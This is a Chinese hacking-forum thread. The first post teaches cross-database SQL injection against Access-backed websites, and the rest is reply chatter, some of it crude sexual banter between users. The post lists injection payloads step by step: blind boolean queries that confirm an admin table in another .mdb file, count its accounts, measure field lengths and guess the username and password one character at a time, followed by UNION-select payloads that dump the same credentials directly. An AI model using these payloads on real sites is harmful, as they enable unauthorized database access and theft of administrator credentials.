ACCESS跨库注入

随便整理了下 这么久了 还没在论坛写过一篇文章

ACCESS跨库盲注

And 1=(Select Count(*) from [C:\777.mdb].[NC_admin]) 判断是否存在NC_Admin这张表

And 1=(Select Count(username) from [C:\777.mdb].[NC_admin]) 判断NC_Admin这张表是否存在username字段

And 1=(Select Count(password) from [C:\777.mdb].[NC_admin]) 判断NC_Admin这张表是否存在password字段

猜帐号数目 如果遇到>0返回正确页面 >1返回错误页面说明帐号数目就是1个

And (Select Count(*) from [C:\777.mdb].[NC_admin])>0

And (Select Count(*) from [C:\777.mdb].[NC_admin])>1

猜解字段长度

and 1=(select count() from [C:\777.mdb].[NC_admin] where len(username)>0) 返回错误
and 1=(select count(
) from [C:\777.mdb].[NC_admin] where len(username)=5) 返回正常

and 1=(select count() from [C:\777.mdb].[NC_admin] where len(password)>0) 返回错误
and 1=(select count(
) from [C:\777.mdb].[NC_admin] where len(password)=16) 返回正常

说明username字段长度为5 password字段为16

猜解字段内容

and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(username,1)='a') 猜解用户帐号的第一位

and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(username,2)='ad') 猜解用户帐号的第二位

and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(username,3)='adm') 猜解用户帐号的第三位

and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(password,1)='7') 猜解密码的第一位

and 1=(select count(*) from [C:\777.mdb].[NC_admin] where left(password,2)='7a') 猜解密码的第二位

union跨库注入更快 更简洁

union select 1,2,3,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC_Admin 判断是否存在NC_Admin这张表

union select 1,2,username,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC_Admin 判断NC_Admin这张表是否存在username字段

union select 1,2,password,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC_Admin 判断NC_Admin这张表是否存在password字段

如果表和字段都正确 数据自然就会显示出来了

{:4_51:}还可以用select * from [C:\con.config]来判断文件名是够存在,还可以猜路径 ....

垮裤 注入 来看下

**回复 3# 淡然 **

大波妹。到处有你脚印

小叶牛! 我日 到那都是核心啊.. 膜拜大牛ING

小叶牛! 我日 到那都是核心啊.. 膜拜大牛ING

{:4_76:}学习学习,膜拜大牛。。。。。

顶,我就很少想到access的跨裤查询。

跨裤子,飘过{:4_56:}

**回复 4# track **

那个不叫脚印  叫波印  {:4_47:}

**回复 10# 淡然 **

{:4_08:}  波波妹。

**回复 4# track **

真的很大吗?

**回复 11# track **

在这样 我告你性骚扰, 管理  干他

**回复 12# 落叶 **

{:4_43:} 扒我身上。居然让我差点窒息。你说有多大

**回复 14# track **

这还不幸福死你啊

**回复 8# Chmodx **

很多时候没这个条件,目前access的跨库貌似一直都处在本地测试环境下,我还没看到过实例的帖子。

**回复 16# 杨凡 **

恩,是的,不过黑客x档案有一期发表了一遍利用union跨裤查询的{:4_51:}

**回复 17# Chmodx **

嗯。。。 。。。
木有看过。。。